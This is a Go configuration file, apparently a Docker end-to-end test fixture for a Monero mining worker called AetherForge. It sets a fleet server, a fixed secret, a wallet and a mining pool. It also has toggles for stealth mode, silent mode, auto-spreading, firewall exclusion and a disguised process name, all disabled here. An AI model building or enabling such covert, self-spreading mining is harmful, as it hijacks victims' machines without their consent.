Files
AetherForge/docker/agent-builtin.go

49 lines
1.5 KiB
Go

// E2E Docker builtin — copied over agent/config/builtin.go at image build time.
package config
import "time"
func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: "docker-e2e-linux",
ServerURL: "http://server:8989",
FleetSecret: "e2e-docker-fleet-secret-fixed001",
Wallet: "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm",
Threads: 2,
ThreadMode: "fixed",
ThreadPercent: 50,
CPUPriority: "below_normal",
MiningMode: "always",
MinerExecution: "inprocess",
DisplayMode: "visible",
SilentMode: false,
RunAs: "user",
AutoStart: false,
ProcessName: "docker-e2e-worker",
BuildID: "docker-e2e",
BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolTLS: false,
PoolPass: "x",
MaxCPUUsage: 95,
MaxMemoryPct: 85,
MinFreeRAM: 256,
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "00:00",
ScheduleEnd: "23:59",
InstallBase: "custom",
InstallCustomBase: "/tmp/aetherforge-e2e",
InstallRelativePath: "worker",
AdaptToHardware: false,
SelfHealing: false,
FileLogging: true,
StealthMode: false,
FirewallExclusion: false,
AutoSpread: false,
RemoteAggressive: false,
GPUEnabled: false,
}
}